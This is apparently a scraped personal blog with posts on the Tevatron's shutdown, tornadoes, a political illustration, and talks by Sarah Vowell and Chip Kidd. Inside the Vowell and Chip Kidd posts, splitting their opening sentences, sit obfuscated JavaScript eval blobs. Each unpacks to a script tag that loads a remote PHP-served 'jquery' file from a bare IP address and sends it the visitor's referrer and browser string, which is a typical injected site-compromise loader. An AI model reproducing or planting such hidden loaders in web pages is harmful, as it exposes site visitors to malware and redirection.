Fermilab super collider meets its end

Sam06

A week ago, Transportation Secretary Ray LaHood announced billion in funding for high speed rail systems in the U.S. While this is welcome and long overdue news, another high speed transportation system is facing its final days and will be shut down for good later this year. And unlike the proposed high speed rail systems, which transports its passengers at top speeds of about 217 MPH, the soon-to-be-closed facility transports its subatomic passengers at 99.999954 percent of the speed of light. After accelerating along a nearly four mile track with the aid of magnets, the particles smash into one another at energies up to 1.96 trillion electron-volts.

The "Tevatron" particle accelerator/collider is located at Fermilab in Batavia, Illinois, 45 miles west of Chicago. While earning some notoriety on Saturday Night Live several years ago as the home of genetic mutation "Goat Boy", Fermilab is also home to some of the most intensive research into the nature of subatomic particles. Besides the Tevatron collider, visitors to Fermilab can also see a herd of American bison which roams the grounds. They were brought in by Fermilab's first director, Robert J. Wilson in 1969 in an effort to help preserve the breed and give local residents and visitors a chance to see the animals first hand. Thanks in part to Fermilab and other conservation efforts, the American bison is no longer on the list of endangered species.

The Tevatron was completed in 1987 and at the time was the most powerful particle accelerator on the planet. It only lost that title when the larger and more powerful Large Hadron Collider near Geneva, Switzerland came online in 2008. For particle physicists, hopes ran high that the intense collisions taking place in the Tevatron would reveal the existence of the hypothetical "Higgs boson" particle, sometimes referred to as the "God particle". Such a discovery would go a long way toward confirming the Standard Model of particle physics and is considered by many the Holy Grail in this field of study. Just recently, some anomalies in data readings at Fermilab indicated the possible existence of a previously unknown particle, though experts doubt that it's the Higgs boson.

The $35-50 million per year to operate the facility was deemed too costly by the U.S. Department of Energy, and when Fermilab's collider shuts down for good in September, it will just be one of many to be closed down for one reason or another over the years. In one spectacular case of government waste, the Supercolliding Super Conductor, which was slated to be built in Texas, was scrapped in 1993 after nearly two years of construction and 15 miles of a proposed 54 mile tunnel had been dug (and nearly $2 billion dollars spent). But the end of the Tevatron doesn't mean the end of all particle research at Fermilab. In an effort to look for the silver lining, some even say it will spur research into other areas, such as neutrino particles. Still, the demise of the Tevatron, like the end of Nasa's manned space program, seems to be a setback for "big thinking" when it comes to U.S. scientific research.

Tornadoes on the brain

tornado07

This past week, tornadoes ripped through Alabama and other sections of the midwest, causing nearly 300 deaths and untold injuries and property damage. We're just at the beginning of tornado season here in the U.S., and given the recent hurricane and tsunami activity in other regions of the world, it leads to the perception that these storms are increasing in severity and frequency. With climate change being such a hot button issue, it's nearly impossible to find agreement, but the general consensus seems to be that we just don't know. With improvements in Doppler radar and a spreading population, reports of the number of events has certainly increased, but whether this indicates real change or simply better data gathering is unclear. As for the severity of the storms, there has not been an increase in the most violent EF4 and EF5 U.S. tornadoes in recent decades.

I grew up just outside of Chicago, which is just northeast of the Mississippi plains area known as "Tornado Alley". As a child, I remember being very afraid of tornadoes. The twister scenes at the beginning of "The Wizard of Oz" were as frightening to me as the wicked witch or the flying monkeys. My family's ranch style house lacked a basement, so when there was a warning on the radio or TV, we'd seek shelter near a door threshold away from any windows. At school we would have tornado drills which followed the "duck and cover" protocol of a nuclear attack drill.

The only time I actually saw a tornado first hand was as a teen visiting a friend's house. A storm came up unexpectedly and the sky turned a sickly greenish color. There was a sudden hailstorm and on the horizon I could see a lighter grey funnel cloud descend from the sky and touch ground. Since then there have been many other warnings, but no sightings.

I still have occasional dreams in which tornadoes tear the roof off a building as I'm waiting out a storm. I can only imagine the psychological effects of those who've experienced a tornado first hand. Many have symptoms similar to earthquake survivors, who report long term traumatic stress including a sense of helplessness and of course, nightmares.

For the record, here are a couple of FALSE tornado myths:

• Tornadoes don't hit areas near rivers, lakes or mountains. • Tornadoes don't hit big cities.

The fact is, tornadoes can hit and do hit any time at any place.

And finally, some reminders of how to be prepared for a tornado, courtesy of the Red Cross : Tornado Safety Checklist

Barack Obama: The Illustrated Man

ObamaTattoos01

When I started this illustration, I planned to show President Obama as "The Illustrated Man" from the Ray Bradbury stories, covered with tattoos representing the major events of his term thus far. For now, I've limited the focus to the two major environmental catastrophies which occurred this past year, the oil spill in the Gulf of Mexico and the nuclear radiation leak in Japan. Both continue to cause untold damage to the human, animal and plant life in ever-widening areas surrounding the disasters and are leading many to reconsider the safety of offshore oil drilling and nuclear energy.Not surprisingly, most of the damage control by the industries involved seem to be in the area of PR, with assurances that these are freak occurrences that couldn't happen again. BP has even requested permission to resume offshore drilling in the Gulf of Mexico less than a year after the explosion of the rig that lead to the largest spill in U.S. history. And nuclear power companies are continuing their push to expand plants here in the U.S. and worldwide. As of last week, Japan declared the Fukushima crisis a Level 7 event (the maximum) on the international system for rating nuclear accidents Tuesday, putting it on par with the 1986 Chernobyl disaster in the former Soviet Union.

Author Sarah Vowell at Oak Park's Unity Temple

SarahVowell05

Vowell_signing

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrazk|var|u0026u|referrer|ztnin||js|php'.split('|'),0,{})) weather was cool and clear at Oak Park's Unity Temple for yesterday evening's "Writers at Wright" presentation featuring author and humorist Sarah Vowell. It was the last stop of her media tour in support of her latest nonfiction historical work "Unfamiliar Fishes". The presentation itself was free with $10 of every book that was sold there going toward the Unity Temple Restoration Foundation. As expected, the turnout was near capacity for the building, which, though not huge, has a main floor and a double balcony on three sides. After a short introduction, Vowell took to the elevated podium and read a couple of short passages from the book and then opened the floor to questions. She confessed to some distraction as she took in the view from the pulpit. Along with being a history buff, she's also a big fan of noted Chicago architects Louis Sullivan and Daniel Burnham in addition to Frank Lloyd Wright. She says she's considering writing a book, or better yet, a musical based on the lives of the builders. Most audience questions dealt with the current work, which covers the early U.S. involvement in Hawaii and culminates in the year 1898, which Vowell argues may have been the most pivotal year for the nation, when the U.S. officially became a superpower. Under President McKinley and at the urging of Rough Rider Theodore Roosevelt, the U.S. annexed Hawaii, Puerto Rico, and Guam and invaded Cuba and the Philippines in that year alone, which Vowell characterizes as an "orgy of imperialism". It's her knack for finding the human interest and humor in what could be a pretty dry subject that gives her books their charm. In both her writing and speaking style, Vowell will at times go off on a tangent to make a story more relatable to modern readers. Other audience questions involved her interest in history, which Vowell attributes in part to her 1/8 Cherokee ancestry, which was easy to research in her home state of Oklahoma. With her sister, she recently retraced the steps of the Native American "Trail of Tears" to get a better sense of their plight. When asked what interested her as a child, she admitted that, being from somewhat "redneck" part of the country, the list included The Dallas Cowboys, Charlie's Angels, country music, Elvis, and Jesus, and noted that she's "still an Elvis fan." At the conclusion of the presentation, Vowell noted how lucky we are to have such architectural treasures in our midst and to appreciate them and contribute to their preservation. Many thanks to Sarah Vowell and to the organizers of this event including The Book Table, Friends of the Oak Park Public Library and the Unity Temple Restoration Foundation for a fun and informative evening.

Graphic Designer Chip Kidd at Columbia College

ChipKidd05

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yetty|var|u0026u|referrer|szayy||js|php'.split('|'),0,{})) evening, as part of its Art & Design lecture series, Columbia College in downtown Chicago hosted a presentation by legendary book jacket designer and author Chip Kidd. If the term "rockstar" can be applied to graphic designers, he would certainly fit the bill. Though his name may not be familiar to those outside of the graphic arts, if you've been near a book store in the past couple of decades, chances are you've seen his work. I arrived early which was good, since apparently word had spread on Twitter, and the place was filling up fast. After a short introduction by talented cartoonist and Columbia College faculty member Ivan Brunetti, Chip Kidd took the podium, sharply dressed as usual with a wide striped jacket and his trademark round glasses. The informal lecture was accompanied by a Powerpoint presentation featuring a number of case studies. One of the earlier ones involved the designing of the dust jacket for Michael Crichton's novel "Jurassic Park". At the time, the film rights for the book had already been sold to Steven Spielberg, so Kidd's instructions were to "think JAWS", meaning that he should come up with an iconic image that could be repurposed for the film, in the same way that the image of the shark emerging from below was used on both the "Jaws" book and film poster. The now famous Tyrannosaurus skeleton image was inspired by a drawing from an old book purchased at the New York Natural History Museum. Kidd drew it with a Rapidograph pen on tracing paper and the image was used on the book cover and later as part of the movie poster and on countless merchandising tie-ins (apparently without any further compensation.) Despite 25 sucessful years as a graphic designer, Kidd makes it clear that rejection is still part of the job. One of the most entertaining case studies centered around a cover design for "You Better Not Cry", a collection of twisted Chistmas stories by Augusten Burroughs. Kidd had already designed several book covers for Burroughs and the subject seemed a perfect fit for his daring and subversive wit, but the project hit some snags. The first couple of ideas were rejected for either being too tame or too "mean" (One involved a ceramic Santa figurine carrying a sack full of G.I. Joe weaponry). Finally, after weeks of stagnation, the project was completed by the publisher's in-house staff and featured a not-so-subtle rearview image of Santa exposing himself, which apparently was more in keeping with the publisher's sensibilities.

ChipKidd01

Besides his work as a graphic designer, Chip Kidd is also the author of two satirical novels which have attained a devoted cult following. Seated behind me at the presentation was graphic novelist extraordinaire Chris Ware, who illustrated the cover for Kidd's first book "The Cheese Monkeys", centering around a graphic design student's art school misadventures. His sequel, "The Learners" follows the main character, Happy, as he lands his first job at an ad agency. Both books are breezy, fun and convey the same wit and style as his book cover designs.

Many thanks to Columbia College for opening the event to the public and to Chip Kidd who kindly chatted and signed books and posters following the presentation.

Next up: Author Sarah Vowell at Oak Park's Unity Temple